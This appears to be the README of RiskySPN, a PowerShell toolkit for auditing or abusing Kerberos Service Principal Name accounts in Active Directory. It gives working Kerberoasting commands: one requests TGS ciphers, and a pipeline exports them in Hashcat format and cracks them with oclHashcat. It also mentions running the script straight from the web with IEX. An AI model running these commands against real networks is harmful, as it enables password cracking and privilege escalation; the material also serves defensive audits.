RiskySPN is a collection of PowerShell scripts focused on detecting and abusing accounts associated with SPNs (Service Principal Name). This module can assist blue teams to identify potentially risky SPNs as well as red teams to escalate privileges by leveraging Kerberos and Active Directory.
Install the module
Or just load the script (you can also
IEX from the web)
Get information about a function
Get-Help Get-TGSCipher -Full
All functions also have the
Search vulnerable SPNs
Find vulnerable accounts
Sensitive + RC4 = $$$
Generate full detailed report about vulnerable accounts (CISO <3)
Request Kerberos TGS for SPN
Get-TGSCipher -SPN "MSSQLSvc/prodDB.company.com:1433"
Find-PotentiallyCrackableAccounts -Stealth -GetSPNs | Get-TGSCipher
The fun stuff 🙂
Find-PotentiallyCrackableAccounts -Sensitive -Stealth -GetSPNs | Get-TGSCipher -Format "Hashcat" | Out-File crack.txt oclHashcat64.exe -m 13100 crack.txt -a 3